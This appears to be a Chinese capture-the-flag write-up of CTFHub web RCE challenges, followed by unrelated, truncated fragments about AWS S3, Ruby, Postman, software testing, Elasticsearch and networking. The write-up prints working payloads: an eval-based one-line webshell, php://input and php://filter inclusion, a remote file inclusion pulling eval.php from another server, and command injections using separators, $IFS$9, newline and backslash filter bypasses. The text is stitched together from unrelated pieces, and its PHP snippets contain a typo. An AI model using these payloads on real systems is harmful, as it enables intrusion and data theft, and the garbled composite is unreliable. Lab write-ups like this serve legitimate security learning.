题目来自CTFHub,Web方向技能树Rce部分https://www.ctfhub.com/#/skilltree
远程命令/代码执行漏洞,简称RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码。
为了实现特定效果,后台有时候也会把用户的输入作为代码的一部分进行执行,服务器没有针对执行函数做过滤就执行命令时就会产生该漏洞。
php可能产生RCE的常见函数:
PHP代码执行函数:eval()、assert()、preg_replace()、create_function()、array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()
PHP命令执行函数:system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_popen()、passthru()
<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>
$_REQUEST既可以接收get参数,又可以接受post参数。
eval函数可以执行php代码,直接写一句话木马
http://challenge-8f3b358611f6002d.sandbox.ctfhub.com:10800/?cmd=$_POST[%22cmd%22]

doughnuts连接成功
在目录简单找一下就能发现flag,一般都在根目录

<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
i have a <a href="shell.txt">shell</a>, how to use it ?
i have a shell, how to use it ?
题目给出了shell.txt,不用再写一句话木马了,我们包含一下。

根目录下cat flagctfhub{4b4829e63f7df5d8916a07a9}
php://input是php语言中一个只读的数据流;通过"php://input",可以读取从Http客户端以POST方式提交、请求头“Content-Type”值非"multipart/form-data"的所有数据;"php://input"一般用来读取POST上来,除已被处理以外的剩余数据。
<?php
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>
i don't have shell, how to get flag?
phpinfo
可以发现这里的phpinfo其实是include包含的内容。
在hackbar内直接POST无法得到命令执行的结果,使用BurpSuite可以,不知为何。
这里使用HackBar进行post请求,在BurpSuite内添加<?php systeam("ls /"); ?>
重复上述,添加上<?php systeam("cat flag_6452"); ?>

<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
flag in <code>/flag</code>
i don't have shell, how to get flag?
flag in /flag
这两道题目其实是考察了php伪协议的知识点,具体可以参考https://segmentfault.com/a/1190000018991087
在CTF中,我们经常通过php://filter来读取源码,php://input来执行php代码。

payload:http://challenge-472c4ff336f650c4.sandbox.ctfhub.com:10800/?file=php://filter/read=convert.base64-encode/resource=/flag

<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag?<br>
<a href="phpinfo.php">phpinfo</a>
i don't have shell, how to get flag?
phpinfo
和文件包含那道题类似,但是这里没有给我们直接可以执行的webshell,因为是RFI,所以我们向另一个服务器上上传再构造payload即可。
http://challenge-a05e7408f6523c66.sandbox.ctfhub.com:10800/?file=http:/xxx:81/upload/eval.php
无过滤注入
我们使用;或者|运算符,ls确定文件;ls -l然后;cat 245262950117066.php|base64
这里直接cat没有回显,推测是输出被浏览器解释为注释,转换为base64发现回显,或者用F12查看页面源码也可以发现回显(快做完了才发现
解密后得到
思路和上一题一样,先看有没有文件
(!preg_match_all("/cat/", $ip, $m))
这里只过滤了cat,我们还有很多其他指令可以达到类似效果head,tail,more,less,tac,sed,vi,vim,grep,od,sort,uniq,file -f,nl
payload:|head flag_xxx.php |base64
ctfhub{92f1d0742dee48139e82b483}
空格过滤可以使用linux下的$IFS$9来代替
常见的空格绕过符号有:
$IFS$9 、${IFS} 、%09(php环境下)、 重定向符<>、<、
payload:;cat$IFS$9flag_2798498929898.php|base64
这次flag在一个叫flag_is_here的文件夹里,不使用/即可;cd flag_is_here;cat *|base64
回显如下:
Array
(
[0] => PD9waHAgLy8gY3RmaHViezFiYTJhMDFhMGIwNmZlZGFiNzZkNmY4Nn0K
)
ctfhub{1ba2a01a0b06fedab76d6f86}
过滤了(||&)几种运算符
不使用管道运算符接口
payload:
1 : ;ls 2 : ;base64 flag_140863035031052.php > a 3 : ;cat a
过滤了(||&|;| |/|cat|flag|ctfhub)
利用linux下一类少见的命令分隔符:%0a、%0d、%0D%0A,其实也就是回车和换行来分割ping。
字符串的过滤可以利用十六进制编码或者\和'等符号来绕过
这道题直接在输入框里面输入的话%会被url编码为%25,所以直接构造url即可。
http://challenge-e6c4aa017ced01ae.sandbox.ctfhub.com:10800/?ip=%0Acd$IFS$9f\lag_is_here%0Abase64$IFS$9fl\ag_211411285528280.php%3Ea

总的来说这套题目相对简单,没有很偏很怪的考点但是也不是特别全面,比如https://uuzdaisuki.com/2020/07/15/%E5%91%BD%E4%BB%A4%E6%B3%A8%E5%85%A5%E7%BB%95%E8%BF%87%E6%96%B9%E5%BC%8F%E6%80%BB%E7%BB%93/"这篇里的内容很多就没有考察到(
还是要做更多题才能让自己的知识体系更全面。
我正在编写一个小脚本来定位aws存储桶中的特定文件,并创建一个临时验证的url以发送给同事。(理想情况下,这将创建类似于在控制台上右键单击存储桶中的文件并复制链接地址的结果)。我研究过回形针,它似乎不符合这个标准,但我可能只是不知道它的全部功能。我尝试了以下方法:defauthenticated_url(file_name,bucket)AWS::S3::S3Object.url_for(file_name,bucket,:secure=>true,:expires=>20*60)end产生这种类型的结果:...-1.amazonaws.com/file_path/file.zip.A
在Ruby中是否有Gem或安全删除文件的方法?我想避免系统上可能不存在的外部程序。“安全删除”指的是覆盖文件内容。 最佳答案 如果您使用的是*nix,一个很好的方法是使用exec/open3/open4调用shred:`shred-fxuz#{filename}`http://www.gnu.org/s/coreutils/manual/html_node/shred-invocation.html检查这个类似的帖子:Writingafileshredderinpythonorruby?
1.postman介绍Postman一款非常流行的API调试工具。其实,开发人员用的更多。因为测试人员做接口测试会有更多选择,例如Jmeter、soapUI等。不过,对于开发过程中去调试接口,Postman确实足够的简单方便,而且功能强大。2.下载安装官网地址:https://www.postman.com/下载完成后双击安装吧,安装过程极其简单,无需任何操作3.使用教程这里以百度为例,工具使用简单,填写URL地址即可发送请求,在下方查看响应结果和响应状态码常用方法都有支持请求方法:getpostputdeleteGet、Post、Put与Delete的作用get:请求方法一般是用于数据查询,
Ⅰ软件测试基础一、软件测试基础理论1、软件测试的必要性所有的产品或者服务上线都需要测试2、测试的发展过程3、什么是软件测试找bug,发现缺陷4、测试的定义使用人工或自动的手段来运行或者测试某个系统的过程。目的在于检测它是否满足规定的需求。弄清预期结果和实际结果的差别。5、测试的目的以最小的人力、物力和时间找出软件中潜在的错误和缺陷6、测试的原则28原则:20%的主要功能要重点测(eg:支付宝的支付功能,其他功能都是次要的)80%的错误存在于20%的代码中7、测试标准8、测试的基本要求功能测试性能测试安全性测试兼容性测试易用性测试外观界面测试可靠性测试二、质量模型衡量一个优秀软件的维度①功能性功
ES一、简介1、ElasticStackES技术栈:ElasticSearch:存数据+搜索;QL;Kibana:Web可视化平台,分析。LogStash:日志收集,Log4j:产生日志;log.info(xxx)。。。。使用场景:metrics:指标监控…2、基本概念Index(索引)动词:保存(插入)名词:类似MySQL数据库,给数据Type(类型)已废弃,以前类似MySQL的表现在用索引对数据分类Document(文档)真正要保存的一个JSON数据{name:"tcx"}二、入门实战{"name":"DESKTOP-1TSVGKG","cluster_name":"elasticsear
我正在使用ruby2.1.0我有一个json文件。例如:test.json{"item":[{"apple":1},{"banana":2}]}用YAML.load加载这个文件安全吗?YAML.load(File.read('test.json'))我正在尝试加载一个json或yaml格式的文件。 最佳答案 YAML可以加载JSONYAML.load('{"something":"test","other":4}')=>{"something"=>"test","other"=>4}JSON将无法加载YAML。JSON.load("
我正在使用Ruby/Mechanize编写一个“自动填写表格”应用程序。它几乎可以工作。我可以使用精彩CharlesWeb代理以查看服务器和我的Firefox浏览器之间的交换。现在我想使用Charles查看服务器和我的应用程序之间的交换。Charles在端口8888上代理。假设服务器位于https://my.host.com。.一件不起作用的事情是:@agent||=Mechanize.newdo|agent|agent.set_proxy("my.host.com",8888)end这会导致Net::HTTP::Persistent::Error:...lib/net/http/pe
默认情况下:回形针gem将所有附件存储在公共(public)目录中。出于安全原因,我不想将附件存储在公共(public)目录中,所以我将它们保存在应用程序根目录的uploads目录中:classPost我没有指定url选项,因为我不希望每个图像附件都有一个url。如果指定了url:那么拥有该url的任何人都可以访问该图像。这是不安全的。在user#show页面中:我想实际显示图像。如果我使用所有回形针默认设置,那么我可以这样做,因为图像将在公共(public)目录中并且图像将具有一个url:Someimage:看来,如果我将图像附件保存在公共(public)目录之外并且不指定url(同
我在一个ruby文件中有一个函数可以像这样写入一个文件File.open("myfile",'a'){|f|f.puts("#{sometext}")}这个函数在不同的线程中被调用,使得像上面这样的文件写入不是线程安全的。有谁知道如何以最简单的方式使这个文件写入线程安全?更多信息:如果重要的话,我正在使用rspec框架。 最佳答案 您可以通过File#flock给锁File.open("myfile",'a'){|f|f.flock(File::LOCK_EX)f.puts("#{sometext}")}
(本文是网络的宏观的概念铺垫)目录计算机网络背景网络发展认识"协议"网络协议初识协议分层OSI七层模型TCP/IP五层(或四层)模型报头以太网碰撞路由器IP地址和MAC地址IP地址与MAC地址总结IP地址MAC地址计算机网络背景网络发展 是最开始先有的计算机,计算机后来因为多项技术的水平升高,逐渐的计算机变的小型化、高效化。后来因为计算机其本身的计算能力比较的快速:独立模式:计算机之间相互独立。 如:有三个人,每个人做的不同的事物,但是是需要协作的完成。 而这三个人所做的事是需要进行协作的,然而刚开始因为每一台计算机之间都是互相独立的。所以前面的人处理完了就需要将数据